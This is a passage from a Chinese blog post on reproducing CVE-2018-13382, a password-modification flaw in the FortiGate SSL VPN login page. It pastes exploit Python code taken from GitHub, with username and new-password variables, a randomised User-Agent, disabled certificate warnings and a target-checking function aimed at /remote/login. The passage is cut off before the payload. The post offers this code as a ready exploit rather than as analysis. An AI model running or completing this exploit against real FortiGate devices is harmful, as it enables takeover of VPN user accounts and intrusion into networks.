CVE-2018-13382 环境搭建+漏洞复现

最新推荐文章于 2025-04-18 15:58:00 发布

yxngu

最新推荐文章于 2025-04-18 15:58:00 发布

阅读量1.7k

点赞数 4

分类专栏：漏洞复现网安文章标签：安全安全漏洞路由器

本文链接：https://blog.youkuaiyun.com/qq_42442326/article/details/119237325

版权

CVE-2018-13382 环境搭建+漏洞复现

一.环境搭建

因为该漏洞和 CVE-2018-13379 所需要的环境是相同的，均处于Fortigate路由器的SSL VPN登录界面，所以环境搭建步骤就不再赘述了，详情见我的另一篇文章
CVE-2018-13379 环境搭建+漏洞复现

二.漏洞复现

CVE-2018-13382-exp （来源为github上的某位大佬，链接找不到了，这里附上源码）

所需python环境 3版本即可

import requests, optparse, sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
from user_agent import generate_user_agent
bold=True

userAgent=generate_user_agent()
username=""
newpassword=""
ip=""

def setColor(message, bold=False, color=None, onColor=None):
	from termcolor import colored, cprint
	retVal = colored(message, color=color, on_color=onColor, attrs=("bold",))
	return retVal

def checkIP(ip):
	try:
		url = "https://"+ip+"/remote/login?lang=en"
		headers = {
   "User-Agent": userAgent, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close",